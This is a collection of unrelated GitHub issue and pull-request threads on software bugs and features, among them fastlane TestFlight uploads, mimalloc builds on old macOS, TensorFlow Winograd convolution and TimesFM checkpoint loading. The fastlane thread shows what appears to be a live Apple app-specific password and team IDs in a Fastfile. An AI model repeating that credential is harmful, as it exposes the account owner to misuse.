FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD not working

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Issue Description
I'm trying to use FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD as an Env Variable in fastfile for my Developer Apple Account, but it's not working.
My Appstoreconnect account does not have TFA. The Developer Apple account (my clients account), does. I cannot remove it (I tried), all new Dev Account are set with TFA.
In my fastfile, on top of the lane upload_ipa is this:
ENV['FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD'] = 'xxxx-xxxx-xxxx-xxxx'
This password was created in the Apple Dev Account.
If I use the dev account, as the appstore account, the only difference it at the beginning of the script, it asks for the 6 digit code.. whe it shoudn't, because I've already set the Specific Password
[18:53:54]: Login to App Store Connect<EMAIL_ADDRESS>Two Factor Authentication for account<EMAIL_ADDRESS>is enabled Your session cookie has been expired. Please enter the 6 digit code:
I'm 100% certain the Apple Specific password is Valid.
This is the output when the appstoreconnect user is different from the devaccount user
Environment

✅ fastlane environment ✅
Stack

Key
Value

OS
10.13.6

Ruby
2.3.7

Bundler?
false

Git
git version 2.14.3 (Apple Git-98)

Installation Source
/usr/local/bin/fastlane

Host
Mac OS X 10.13.6 (17G65)

Ruby Lib Dir
/System/Library/Frameworks/Ruby.framework/Versions/2.3/usr/lib

OpenSSL Version
LibreSSL 2.2.7

Is contained
false

Is homebrew
false

Is installed via Fabric.app
false

Xcode Path
/Applications/Xcode92.app/Contents/Developer/

Xcode Version
9.2

System Locale

Variable
Value

LANG
en_US.UTF-8
✅

LC_ALL
en_US.UTF-8
✅

LANGUAGE

fastlane files:
`./fastlane/Fastfile`
# This file contains the fastlane.tools configuration
# You can find the documentation at https://docs.fastlane.tools
#
# For a list of all available actions, check out
#
#     https://docs.fastlane.tools/actions
#
# For a list of all available plugins, check out
#
#     https://docs.fastlane.tools/plugins/available-plugins
#

# Uncomment the line if you want fastlane to automatically update itself
# update_fastlane

default_platform(:ios)

platform :ios do
  lane :upload_ipa do
  ENV['FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD'] = 'zfvy-szgm-wqqk-pvsx'
    upload_to_testflight(skip_waiting_for_build_processing: true,
    	ipa: 'Revista Palabras.ipa')
  end
end

`./fastlane/Appfile`
app_identifier("com.xxxx.revistapalabras") # The bundle identifier of your app
<EMAIL_ADDRESS># Your Apple email address

itc_team_id("V733ZRD5A4") # App Store Connect Team ID
team_id("V733ZRD5A4") # Developer Portal Team ID

ENV['FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD'] = 'xxxx'

# For more information about the Appfile, see:
#     https://docs.fastlane.tools/advanced/#appfile

fastlane gems

Gem
Version
Update-Status

fastlane
2.107.0
✅ Up-To-Date

Loaded fastlane plugins:
No plugins Loaded
Loaded gems

Gem
Version

did_you_mean
1.0.0

slack-notifier
2.3.2

rouge
2.0.7

xcpretty
0.3.0

terminal-notifier
1.8.0

terminal-table
1.8.0

plist
3.4.0

multipart-post
2.0.0

word_wrap
1.0.0

public_suffix
2.0.5

tty-spinner
0.8.0

babosa
1.0.2

colored
1.2

highline
1.7.10

commander-fastlane
4.4.6

http-cookie
1.0.3

faraday-cookie_jar
0.0.6

mini_magick
4.5.1

multi_json
1.13.1

multi_xml
0.6.0

rubyzip
1.2.2

security
0.1.3

xcpretty-travis-formatter
1.0.0

faraday_middleware
0.12.2

emoji_regex
0.1.1

tty-cursor
0.6.0

tty-screen
0.6.5

faraday
0.15.3

json
2.1.0

io-console
0.4.5

excon
0.62.0

CFPropertyList
3.0.0

libxml-ruby
2.9.0

atomos
0.1.3

claide
1.0.2

colored2
3.1.2

nanaimo
0.2.6

xcodeproj
1.7.0

jwt
2.1.0

signet
0.11.0

uber
0.1.0

declarative
0.0.10

declarative-option
0.1.0

representable
3.0.4

addressable
2.5.2

httpclient
2.8.3

google-api-client
0.23.9

memoist
0.16.0

googleauth
0.6.7

unf_ext
<IP_ADDRESS>

unf
0.1.4

domain_name
0.5.20180417

fastimage
2.1.4

bundler
1.16.4

unicode-display_width
1.4.0

generated on: 2018-11-03

➜  Revista Palabras git:(master) ✗ bundle exec fastlane upload_ipa
[✔] 🚀
[18:47:54]: ------------------------------
[18:47:54]: --- Step: default_platform ---
[18:47:54]: ------------------------------
[18:47:54]: Driving the lane 'ios upload_ipa' 🚀
[18:47:54]: ----------------------------------
[18:47:54]: --- Step: upload_to_testflight ---
[18:47:54]: ----------------------------------
[18:47:54]: Login to App Store Connect<EMAIL_ADDRESS>[18:47:57]: Login successful
[18:47:58]: Ready to upload new build to TestFlight (App:<PHONE_NUMBER>)...
[18:48:04]: Fetching password for transporter from environment variable named `FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD`
[18:48:04]: Going to upload updated app to App Store Connect
[18:48:04]: This might take a few minutes. Please don't interrupt the script.
[18:48:19]: [Transporter Error Output]: Your Apple ID or password was entered incorrectly. (-20101)
-------------------------------------------------------------------------------------
Please provide your Apple Developer Program account credentials
The login information you enter will be stored in your macOS Keychain
You can also pass the password using the `FASTLANE_PASSWORD` environment variable
See more information about it on GitHub: https://github.com/fastlane/fastlane/tree/master/credentials_manager
-------------------------------------------------------------------------------------
Username<EMAIL_ADDRESS>The login credentials for<EMAIL_ADDRESS>seem to be wrong
Do you want to re-enter your password? (y/n)
y
Removing Keychain entry for user<EMAIL_ADDRESS>keychain: "/Users/jp/Library/Keychains/login.keychain-db"
version: 512
class: "inet"
attributes:
    0x00000007<EMAIL_ADDRESS>    0x00000008 =
<EMAIL_ADDRESS>    "atyp"="dflt"
    "cdat"=0x32303138313130333231323433385A00  "20181103212438Z\000"
    "crtr"=
    "cusi"=
    "desc"=
    "icmt"=
    "invi"=
    "mdat"=0x32303138313130333231323433385A00  "20181103212438Z\000"
    "nega"=
    "path"=
    "port"=0x00000000
    "prot"=
    "ptcl"=0x00000000
    "scrp"=
    "sdmn"=
<EMAIL_ADDRESS>    "type"=
password has been deleted.
-------------------------------------------------------------------------------------
Please provide your Apple Developer Program account credentials
The login information you enter will be stored in your macOS Keychain
You can also pass the password using the `FASTLANE_PASSWORD` environment variable
See more information about it on GitHub: https://github.com/fastlane/fastlane/tree/master/credentials_manager
-------------------------------------------------------------------------------------
Password (for devappleaccount_user@gmail.com): **********
[18:48:34]: Please run this tool again to apply the new password
[18:48:34]: [Transporter Error Output]: Error while processing package<PHONE_NUMBER>.itmsp
[18:48:34]: Transporter transfer failed.
[18:48:34]:
[18:48:34]: Your Apple ID or password was entered incorrectly. (-20101)
Error while processing package<PHONE_NUMBER>.itmsp
[18:48:34]: [iTMSTransporter] [2018-11-03 18:48:19 ART]  DBG-X:   parameter ErrorCode = -20101
18:48:34: [iTMSTransporter] [2018-11-03 18:48:19 ART]  DBG-X:   parameter ErrorMessage = Your Apple ID or password was entered incorrectly. (-20101)
18:48:34: [iTMSTransporter] [2018-11-03 18:48:19 ART]  DBG-X:   parameter Success = false
18:48:34: [iTMSTransporter] [2018-11-03 18:48:19 ART]  ERROR: Your Apple ID or password was entered incorrectly. (-20101)
18:48:34: [iTMSTransporter] [2018-11-03 18:48:19 ART]  ERROR: Error while processing package<PHONE_NUMBER>.itmsp
18:48:34: [iTMSTransporter] Package Summary:
18:48:34: [iTMSTransporter] 1 package(s) were not uploaded because they had problems:
[18:48:35]: [iTMSTransporter] 	/var/folders/v7/057m71q50kqf5wxjh9glpm800000gp/T/d20181103-43766-g3qar1/1441226948.itmsp - Error Messages:
[18:48:35]: [iTMSTransporter] 		Your Apple ID or password was entered incorrectly. (-20101)
[18:48:35]: [iTMSTransporter] 		Error while processing package<PHONE_NUMBER>.itmsp
[18:48:35]: [iTMSTransporter] [2018-11-03 18:48:19 ART]  DBG-X: Returning 1
[18:48:35]: iTunes Transporter output above ^
[18:48:35]: Your Apple ID or password was entered incorrectly. (-20101)
Error while processing package<PHONE_NUMBER>.itmsp
\nError while processing package<PHONE_NUMBER>.itmsppple ID or password was entered incorrectly. (-20101)
The call to the iTMSTransporter completed with a non-zero exit status: 1. This indicates a failure.
+------------------+----------------+
|           Lane Context            |
+------------------+----------------+
| DEFAULT_PLATFORM | ios            |
| PLATFORM_NAME    | ios            |
| LANE_NAME        | ios upload_ipa |
+------------------+----------------+
[18:48:35]: Error uploading ipa file, for more information see above
+------+----------------------+-------------+
|             fastlane summary              |
+------+----------------------+-------------+
| Step | Action               | Time (in s) |
+------+----------------------+-------------+
| 1    | default_platform     | 0           |
| 💥   | upload_to_testflight | 40          |
+------+----------------------+-------------+
[18:48:35]: fastlane finished with errors
[!] Error uploading ipa file, for more information see above

Your session cookie has been expired   I face the problem too, and it always tell me expired.

I'm also in this rut again. It was working fine until a few days ago. Now, regardless of FASTLANE_SESSION and FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD being set in the environment, it always says "Your session cookie has been expired." Almost positive that the regions are the same between my local and remote machines, so I don't think that is the issue.

Possible fix, this worked for me: https://github.com/fastlane/fastlane/issues/13603

Similar problem: https://github.com/fastlane/fastlane/issues/13705


Migrating the AWS system to OpenShift or any other Cloud

Migrating the AWS system to OpenShift or any other Cloud

Not taking this forward as openshift is using aws on backend. And it doesnot provide complete functionality


Contribute link to this to cookiecutter docs

https://github.com/audreyr/cookiecutter/blob/master/README.rst

Done https://github.com/audreyr/cookiecutter/pull/1103


Feature request: Container support for Assets

Use case
Currently the Assets directory contains Packer templates for building AMIs. Game developers that want to standardize their workflows on containers may want the toolkit to provide a way to deploy these tools as containers and will expect Dockerfiles to assist in doing this for publishing images to their own container registries (i.e. Amazon ECR/ Github GCR) and deployed to their container platforms (i.e. ECS/K8s) with Task Definitions and Helm Charts.
Solution/User Experience
Develop Dockerfiles for existing AMI-based features and develop project structure and contributing guidelines for community additions.
Alternative solutions
No response

@kylesomers I think the scope on this is a little wide. We need to clarify which assets we are referring to. Are we suggesting that we want containerized build nodes for C++ compilation? containerized version of Perforce Helix Core?


Huffman Algorithm

Have you read the Contributing Guidelines on Pull Requests?
yes
(Write your answer here.)
Description
(Write your answer here.)
I have added the code for huffman algorithm in C.
Checklist

[ ] I've read the contribution guidelines.
[ ] I've checked the issue list before deciding what to submit.
[ ] I've edited the README.md and link to my code.

Related Issues or Pull Requests
Closes: #7000
(Write your answer here.)

@Shatakshijain Do the suggested changes and also add the Update in README file

@Shatakshijain Not done yet


can not build mimalloc

Hello All,
When building mimalloc using the standard instructions

, i get the following error (attached). Does anyone know what the issue could be?

i am using macversion 10.13.6

Little suggestion, in src/random.c, does it solve your build issue if you add the following :
#include <CommonCrypto/CommonCryptoError.h>
on top of
#include <CommonCrypto/CommonRandom.h>
?

nope :) which version of Xcode are you using ?

i believe it's Xcode 8.3.3!

If i type man alligned_alloc into terminal, i get "No manual entry for aligned_alloc"!

yes it s old version and yes I expected you did not get an entry. if you comment the MI_INTERPOSE_MI(aligned_alloc) line it should build (of course it deserves a real fix).

thank you very much my friend. im sorry could i ask you 2 more questions? is it easy to to update to a later xcode version? i tried via the apple store and said i could only update if i had mac os 11.0 or later. but it seems its not possible to update from 10.13 to 11?
number 2 i am actually using rust and running cargo clippy and getting the following error. is there any hack to get rid of this error?

I just wanted to chime in here with a related issue.  We use bioconda for distribution of our software on linux and OSX, and recent versions of mimalloc do not build under their OSX configuration.  Specifically, we're seeing the same error initially posted here.  You can find the specific build-log lines here.
Interestingly, however, this is a newer problem.  Previous versions (about 2 versions ago, I think) of mimalloc worked fine on this system.  The temporary fix we have in place now is to force an older version of mimalloc (actually it's installed through the libmimalloc-sys rust crate since this is a rust program), but this is obviously not an ideal situation going forward.  Is there any way that new releases can be made to compile on such a system?  In that case, the program is being compiled using Xcode_13.2.1.
Thanks!
Rob

thank you very much my friend. im sorry could i ask you 2 more questions? is it easy to to update to a later xcode version? i tried via the apple store and said i could only update if i had mac os 11.0 or later. but it seems its not possible to update from 10.13 to 11?
number 2 i am actually using rust and running cargo clippy and getting the following error. is there any hack to get rid of this error?

I have no real idea honestly how to make that big leap in term of macOs releases, I personally update incrementally.
Regarding your last issue, so what happens if we just follow the compiler advice ? if this work I ll update my PR accordingly
ie changing the line 489 in src/alloc.c with
if (mi_likely(tid == mi_atomic_load_relaxed((_Atomic(mi_threadid_t)*)&segment->thread_id) && page->flags.full_aligned == 0)) {

Hi devnexen,  appears all i had to do was force an older version of libmimalloc-sys and things started working smooth as leather!
thank you for being so kind! usually my experience on these type of things is a lot more cold!
hope you are well!

thanks @rob-p @mmongiacmu for your reports, @daanx will decide how to deal with this.

Hi all, thanks for the reports; Thanks @devexn for the PR!  I think the latest dev and dev-slice branches should fix these build issues (can you check this @rob-p ?).


World map enhancements

To resolve https://github.com/elixir-europe-training/ELIXIR-TrP-Training-Metrics-Database-Tango/issues/26

Apply a log transformation to the color scale
Use a single color gradient instead of a viridis scale

I used ELIXIR orange as it looks better to me than the ELIXIR blue for this, but happy to hear other opinions.

In my opinion, ready to merge unless someone objects.

Just making a note here that this PR also resolves #18.


Documentation for the new Constellation API

Howdy @celso, does this also close #10074? Or would that be addressed in a future PR?

@kodster28 It does


Added mattiaperi as Italian reviewer/approver & sorted Italian teams

@mattiaperi is helping with our Italian docs
/cc @micheleberardi
/assign @zacharysarah

/lgtm
/approve


[Fix](segment compaction) fix error using of inverted index file writer in segment compaction #43114

cherry pick from #43114

run buildall


Elasticsearch Stack client tests

Given this project, we've talked about doing the same for the Elasticsearch Stack clients: write our own YAML tests instead of depending on the Elasticsearch ones.
This would give us several advantages:

The "Elasticsearch YAML tests" test Elasticsearch, the server. This means there's a lot of edge cases and functionality that needs to be tested, that is not necessarily relevant to clients. It could be argued that testing all of these ensures the clients are 100% compatible with the API and it is a very robust set of tests. But we end up skipping tests a lot due to different configurations and such, so we're not 100% testing anyway. We can have more control, even add tests that are not yet implemented on the server when an API is experimental and such, if we write our own client tests.
As long as we implement teardown on each test, there's no need to have a clean-up phase (See https://github.com/elastic/clients-team/issues/360). This is constantly being updated and in a lot of cases has been the cause for the clients build braking. It would save a lot of execution time: deleting only necessary artifacts created for the test, not having to get lists of artifacts and delete one by one, and I'm sure we'll see our integration tests build take less time. We would also run less tests, but the cleanup phase is run after every single test on the current architecture. It would also save developer time, not having to update the clean-up phase every time something changes, tests should have their own clean-up.
Initially the Elasticsearch Stack tests will be a superset of the Serverless tests, although these could eventually diverge. I think the process moving forward should be:

Leave the current folder tests as is, and use it for the "common" tests, tests that will run both in Stack and Serverless.
Write Elasticsearch Stack only tests in a new directory stack.
When we find a test that's exclusive to serverless, create it in a new directory serverless.

If not implemented already, we might want to add catch, headers and potentially other features from the previous test set. The current tests are already using do, match, set, gt, gte, lt, lte, is_true, setup and teardown.
We have ~ 480 APIs in Stack. At the time of writing this issue, there are ~ 200 APIs being tested in this repo, so we're not that far...

I think we need also to tag or release the tests with the stack number version (e.g. 8.12.1).


Not working with AOT compiler - Please add .metadata.json file in next release

I've been trying to AOT compile (ngc) while importing this module and I get a error:
Unexpected value 'NgSemanticModule in /node_modules/ng-semantic/ng-semantic.d.ts' imported by the module 'AppModule in /app/app.module.ts'
Similar issue:
https://github.com/chymz/ng2-ckeditor/issues/36
Comments about this problem:
https://github.com/angular/angular/issues/11262#issuecomment-244449696
https://github.com/angular/angular/issues/11262#issuecomment-244472000
https://github.com/angular/angular/issues/11262#issuecomment-244489405

Some for me. Would be nice to have this fixed for AOT compilation.


The whole page crash with react errors when importing a github repo.

Describe the bug
Visit https://bolt.new/github.com/softflow24/data-river
Idk what the error is because you don't handle your errors.

Link to the Bolt URL that caused the error
https://bolt.new/github.com/softflow24/data-river
Steps to reproduce
Enter url boom
Expected behavior
Tell me what the error is, also would be cool if it didn't explode.
Screen Recording / Screenshot

Platform

OS: MacOS
Browser: Edge
Version: 128.0.2739.67

Additional context
No response

Same happens to me

this seems to be fixed now, could you confirm and if not re-open


CUDA out of memory

I'm getting an error torch.cuda.OutOfMemoryError: CUDA out of memory.. I am using a GeForce RTX 4070 Ti which has 12 GB of memory. Is that too little for this project? If so, what GPU configuration is recommended?

I switched to a cloud server with an A40 which as 48GB VRAM and no longer got this error. However 16GB system RAM was not enough for 360 mode. I had to up it to 32GB.

Thanks for making a note of this! In my experiments, a gpu with 16GB VRAM was sufficient. I've updated the README.


fix: ftd parsing

:tada: This PR is included in version 2.28.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Replace functionality issue

After 4.0.0-beta.27 version the replace functionality is broken.There is an error smth like resetaction.actions.map is not a function

It is a known issue, check for existing issues before opening one please.


watch for devices via the flutter daemon

Watch for devices via the flutter daemon.

plumb in communication with the flutter daemon service
listen for new devices, device state changes, and device removal

We still need to expose these devices to the user via some UI, and give them the ability to select which device an app will launch on.
@danrubel

LGTM


Adding Update Scheme flow in Xd

We have implemented in dev
https://github.com/bithyve/bitcoin-keeper/assets/107177634/3faf31a4-b3fb-4fb8-9b53-553c3b875105

Vault Settings
https://xd.adobe.com/view/f1543c84-c25a-4ad6-81ca-1e0c540e956e-a407/screen/e27bf509-c478-4c11-bfc9-66c38b1c6b37/
Chnage config
https://xd.adobe.com/view/f1543c84-c25a-4ad6-81ca-1e0c540e956e-a407/screen/36e0d6c4-c654-46d2-9e07-06f6cc6eafce/

Completed


Error loading from checkpoint

timesfm-1.0-200m downloaded by huggingface-cli is 777M. It is stored in the docker folder /home/suily/timesfm/model/checkpoints/checkpoint_1100000/state/checkpoint
I set the address as
_MODEL_PATH = flags.DEFINE_string(
    "model_path", "model/checkpoints", "Path to model"
)

and
_MODEL_PATH = flags.DEFINE_string(
    "model_path", "/home/suily/timesfm/model/checkpoints", "Path to model"
)

The following error has occurred:
Traceback (most recent call last):
  File "/home/suily/timesfm/experiments/extended_benchmarks/run_timesfm.py", line 150, in <module>
    main()
  File "/home/suily/timesfm/experiments/extended_benchmarks/run_timesfm.py", line 108, in main
    tfm.load_from_checkpoint(   # 检查点,加载模型
  File "/home/suily/timesfm/src/timesfm.py", line 269, in load_from_checkpoint
    self._train_state = checkpoints.restore_checkpoint(
  File "/usr/local/lib/python3.10/site-packages/paxml/checkpoints.py", line 225, in restore_checkpoint
    checkpoint_manager = checkpoint_managers.OrbaxCheckpointManager(
  File "/usr/local/lib/python3.10/site-packages/paxml/checkpoint_managers.py", line 379, in __init__
    self._manager = _CheckpointManagerImpl(
  File "/usr/local/lib/python3.10/site-packages/paxml/checkpoint_managers.py", line 216, in __init__
    super().__init__(directory, *args, **kwargs)
  File "/usr/local/lib/python3.10/site-packages/orbax/checkpoint/checkpoint_manager.py", line 617, in __init__
    self._checkpoints = self._load_checkpoint_infos()
  File "/usr/local/lib/python3.10/site-packages/orbax/checkpoint/checkpoint_manager.py", line 1289, in _load_checkpoint_infos
    checkpoint_infos = [futures[step].result() for step in steps]
  File "/usr/local/lib/python3.10/site-packages/orbax/checkpoint/checkpoint_manager.py", line 1289, in <listcomp>
    checkpoint_infos = [futures[step].result() for step in steps]
  File "/usr/local/lib/python3.10/concurrent/futures/_base.py", line 458, in result
    return self.__get_result()
  File "/usr/local/lib/python3.10/concurrent/futures/_base.py", line 403, in __get_result
    raise self._exception
  File "/usr/local/lib/python3.10/concurrent/futures/thread.py", line 58, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/usr/local/lib/python3.10/site-packages/orbax/checkpoint/checkpoint_manager.py", line 1278, in build_checkpoint_info
    step_metadata = self._step_name_format.find_step(self.directory, step)
  File "/usr/local/lib/python3.10/site-packages/orbax/checkpoint/path/step.py", line 341, in find_step
    raise ValueError(
ValueError: No step path found with name=1100000, NameFormat=_StandardNameFormat(step_prefix=None, step_format_fixed_length=None) for step=1100000 under /home/suily/timesfm/model/checkpoints.

Does anyone know the reason for this? The current guess may be that the model is not downloaded fully or is not stored enough. However, it is still 777M after changing several methods. The system I use is Linux.

Try /home/suily/timesfm/model/

Try /home/suily/timesfm/model/

There is no problem with the address, the reason is that the dependent version I downloaded conflicts. Due to special requirements, I downloaded the following versions:
Paxml = = 1.2.0
Orbax = = 0.5.3
Pandas = = 2.2.2
This leads to Paxml detection model/checkpoints / 1100000 folder exists, Orbex detection model/checkpoints/checkpoint_1100000 whether there is a model. The problem was solved when I changed to the following version:
Orbax = = 0.4.1
Pandas = = 2.0.0


ci: ensure the check-for-changes checks previous deployed version

Description

Related Issue(s)

#1333

Verification

[ ] Your code builds clean without any errors or warnings
[ ] Manual testing done (required)
[ ] Relevant automated test added (if you find this hard, leave it and we'll help out)

Documentation

[ ] Documentation is updated (either in docs-directory, Altinnpedia or a separate linked PR in altinn-studio-docs., if applicable)

Summary by CodeRabbit

New Features

Introduced a new workflow for retrieving the latest deployed version information from GitHub.
Added new jobs to enhance version management during deployments.

Bug Fixes

Improved job dependencies to ensure correct version retrieval before deployment.

Documentation

Updated input parameters and outputs for the check-for-changes job to better differentiate between infrastructure and application changes.

@coderabbitai pause

@coderabbitai resume


Default Scroll on for All Forms

Describe the bug
Some users have complained about not being able to activate, because the form extends below the end of the page.
Please see comments below for references to additional pages that need similar help.
To Reproduce
Steps to reproduce the behavior:

Go to a non-scrolling page like https://www.crisiscleanup.org/login.
Zoom in by pressing + several times.
Error: the "Register" button and other components fall off the page.

Expected behavior
You should be able to scroll if the page falls off the bottom. Make sure that ALL pages with any sort of content are scrollable.
Screenshots

Desktop (please complete the following information):

Win 10, FF 73

Waiting for review by @BradenM and/or @tabiodun

@tabiodun
This is related to #558 .
Please also review:

No Cancel or Save button appears on the phone intake form (/caller), FF
Login form is not scrollable, and therefore the buttons can fall off the screen.
Activation may not be scrollable.
All flags are not scrollable, and therefore buttons can fall off the screen.

Possibly fixed by:
https://github.com/CrisisCleanup/crisiscleanup-3-web/commit/adfdbabdd1d1beea1315bb8c81a9bfd658bd9587
and
#840


cached resolution: remove transitive dependencies from callers array when using consolidated resolution

@eed3si9n - I hope I'm describing the issue correctly - let me know..
When using withConsolidatedResolution(true) can the graph.json size be further reduced by removing transitive dependencies from the callers array? For small projects it's manageable, but for a large project the json files mushroom in size and the performance of consolidated resolution deteriorates.
Steps:
    git@github.com:edeustace/sbt-callers-sample.git
    cd sbt-callers-sample/lib-two
    sbt publish-local
    cd ../lib-one
    sbt publish-local
    cd ..
    sbt update

Then inspect the graph.json for module a. You should see something like:
     [
      {
        "caller": {
          "organization": "org.scala-sbt.temp",
          "name": "temp-resolve-1fd7120a8dac7d10ffc45ff63fc42f19d0d148e1",
          "revision": "1.0",
          //...
        },
        //...
      },
      {
        "caller": {
          "organization": "com.ee",
          "name": "lib-one_2.10",
          "revision": "0.0.1-SNAPSHOT",
          //...
        },
        //...
      },
      {
        "caller": {
          "organization": "com.ee",
          "name": "lib-two_2.10",
          "revision": "0.0.1-SNAPSHOT",
          //...
        },
      }
      //...
    ]

The tmp org (org.scala-sbt.temp) is fine as is the direct dependency lib-one.
The issue is that lib-two is listed as a caller even though it's a transitive dependency of a.

@edeustace Thanks for the report. This case is a generalized one for #1763.
@paddymahoney reported he's seeing OOM in 0.13.9-RC2.

Just ran 0.13-RC3 against the project that was grinding to a halt, it's now making use of consolidated resolution with a clean update averaging ~80s (was ~240s). Thanks @eed3si9n

@edeustace Thanks for the confirmation. Were old cached resolution grinding to the halt, or the plain update too? I'm curious about the performance comparison.


Delete duplicate item in User Guide

Motivation and context

This PR contains the removal of a duplicate of the "Annotation with points" item.
How has this been tested?

N/A
Checklist

[x] I submit my changes into the develop branch
[ ] I have added description of my changes into CHANGELOG file
[x] I have updated the documentation accordingly
[ ] I have added tests to cover my changes
[x] I have linked related issues (read github docs)
[ ] I have increased versions of npm packages if it is necessary (cvat-canvas,
cvat-core, cvat-data and cvat-ui)

License

[x] I submit my code changes under the same MIT License that covers the project.
Feel free to contact the maintainers if that's a concern.
[x] I have updated the license header for each file (see an example below)

# Copyright (C) 2020 Intel Corporation
#
# SPDX-License-Identifier: MIT

Pull Request Test Coverage Report for Build 5345

0 of 0   changed or added relevant lines in 0 files are covered.
8 unchanged lines in 1 file lost coverage.
Overall coverage decreased (-0.04%) to 65.641%

Files with Coverage Reduction
New Missed Lines
%

cvat/apps/engine/media_extractors.py
8
75.29%

Totals

Change from base Build 5337:
-0.04%

Covered Lines:
10831

Relevant Lines:
16101

💛  - Coveralls


Handle viewport overflow top && left for tooltip

What does it do?
Update tooltip left and top position when they overflow out of then screen
View

And what happens if it's positioned on the right side of the screen. 😛


Bump kubevirtci to<PHONE_NUMBER>-f12b50e

Signed-off-by: Bartosz Rybacki<EMAIL_ADDRESS>
What this PR does / why we need it:
2205231118-f12b50e
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
Release note:

NONE

/lgtm
lets see if the rook problem from https://github.com/kubevirt/kubevirt/pull/7783 are here as well..

one success, lets check again
/test pull-kvp-functional-test

Is it fix or are we lucky? Either way it looks better than previous version .

/approve


Remove env line and add comment about update-env

the update guide mentions setting the API_URL environment variable, this is not necessary and has no effect since pm2 keeps the environment in the task and reuses it

Thanks :)


Uninstall-Module: add ability to uninstall dependent modules

The use-case is to upgrade multiple modules to their new version. When there is a module with number of dependent modules Install-Module allows installing all dependent modules at once. If I need to upgrade the modules to new version with no willing to have multiple versions of certain module I'd expect to be able to uninstall module with all dependent modules at ones using Uninstall-Module.
Here is an example
Module A with version 1.0
Module B with version 1.0, which is required module in the A module's manifest
This call:
Install-Module -Name A -RequiredVersion 1.0
installs both A and B
When new versions of the above modules are published
Module A with version 2.0
Module B with version 2.0
I'd like to be able to
Uninstall-Module -Name A
Install-Module -Name A -RequiredVersion 2.0
and as a result to have installed only
A version 2.0
B version 2.0

We have related Issue #2505 "Reloading module does not reload submodules"
If we fix this we fix "upgrade multiple modules to their new version" too.

This issue was moved to PowerShell/PowerShellGet#114

FYI moved this to PowerShellGet as it'd have to implemented in that module rather than PowerShell itself.


Enable Fused Winograd by Default

Right now fused Winograd is disabled by default. This is even though enabling this speeds up models considerable in the 3x3 case (see https://github.com/tensorflow/tensorflow/issues/9322#issuecomment-295779638). What remains as far as issues, etc to get this faster conv enabled by default?
/CC @yangzihao @tfboyd

@tfboyd it might be good to see internally whether we want to accelerate this.

Working on it.  I found a comment in the code about some failing unit tests and I am following up.  On K80s this makes a big difference.  I am also sending out a note to tensorflow-discuss in the super near future and update the Performance Guide for the near-term.

This is so close.  Is is submitted internally and I am working to get it synced to github.  Why say anything until it is in master?  Because I am so happy this is finally nearly done.  :-)  I will update and close as soon as I see this in master.

Done https://github.com/tensorflow/tensorflow/pull/10359  It will most likely NOT be 1.2 but will be in 1.3.

This is old but I saw it and we had to turn it off again by default in 1.3 but at head and 1.4 going forward everything is all good.  We had issues with a few corner cases used by teams inside Google that would fail.  We worked with NVIDIA to identify all of the possible corner cases and the issue is finally closed.  An FYI if anyone sees this.  We had the same problem with fused batch norm, which will also be the default in a couple of weeks if current progress continues.  With the large amount of production level products using TensorFlow what seems like an easy change can have unforeseen impacts.

Thanks for looping back!
On Sep 9, 2017 4:02 PM, "Toby Boyd"<EMAIL_ADDRESS>wrote:

This is old but I saw it and we had to turn it off again by default in 1.3
but at head and 1.4 going forward everything is all good. We had issues
with a few corner cases used by teams inside Google that would fail. We
worked with NVIDIA to identify all of the possible corner cases and the
issue is finally closed. An FYI if anyone sees this. We had the same
problem with fused batch norm, which will also be the default in a couple
of weeks if current progress continues. With the large amount of production
level products using TensorFlow what seems like an easy change can have
unforeseen impacts.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/tensorflow/tensorflow/issues/9339#issuecomment-328308523,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AT_SbbyUwSTW-ERNSvlwq1_gGj_I0GQdks5sgxkZgaJpZM4NDReM
.


network: test coverage for loading CNI plugins and custom network configs

Get some test coverage (unit, integration, functional, as needed) for the --net behavior.
In which order networks are loaded? In which order are they applied (i.e.: what is eth0, eth1, ...)? How can builtin ones be overridden? In which cases are default and default-restricted applied by default?
Follow up from: #3685

TIL: there are some tests in test/rkt_net_nspawn_test.go. This should be focused on testing custom plugins and the ordering of custom network configs. Also the behavior of --net=all and overriding existing builtin networks.


Add forwardTo; misc fixes

v0.9 supports forward: as an action key. Let me know if you run into any issues!


A few bugs

As I saw in devtool, you delegate the mousemove event on document. If some guys use the stopPropagation in the container element  mousemove listener. The drag would not work.
So, I proposed to expose the mousemove element and other event delegation element.

Drag This

html,body {
  width:100%;
  height:100%;
  display:flex;
  justify-content:center;
  align-items:center;
}
.app {
  width:500px;
  height:500px;
  background:pink;
}
#draggable {
  width:100px;
  height:100px;
  background:lightblue;
  cursor:move;
}

var draggableIns = new PlainDraggable(draggable);
// doesn't work with code below
app.onmousemove = function() {
  event.stopPropagation();
};

Solution:
1. event capture may solve this
2. allow user to bind mousemove on other element. for example, `#app` in this case.

Right click would also trigger mousedown event and cause the drag behavior. I think it is not an expected behavior.

Solution:
 1. add event.button detection

I thought of these because I was making a simple draggableJs. ...

Hi @xianshenglu, thank you for the report.
However, in general, both two are not bug.
PlainDraggable was designed for many cases as much as possible.

The stopping the dragging by the stopPropagation method is correct and expected behavior because you called the method to stop the mouse event for some reason.
That is, a library has to stop doing something via an event when the event was canceled (e.g. the stopPropagation method was called).
In other words, you should not call the stopPropagation method if the dragging should not be stopped.
Dragging by the right-button is needed in some cases. Therefore PlainDraggable should not control behavior by the right-button or left-button. If you want to cancel the dragging when other than left-button is pressed, you can do that by stopImmediatePropagation method.
For example:

element.addEventListener('mousedown', function(event) {
  if (event.button !== 0) { event.stopImmediatePropagation(); }
}, false);

new PlainDraggable(element);

Question1:
That's because I want to listen the mousemove on #app. Well, it's not a big deal in this case. I am just hoping that if we can decide which element should be bound event.
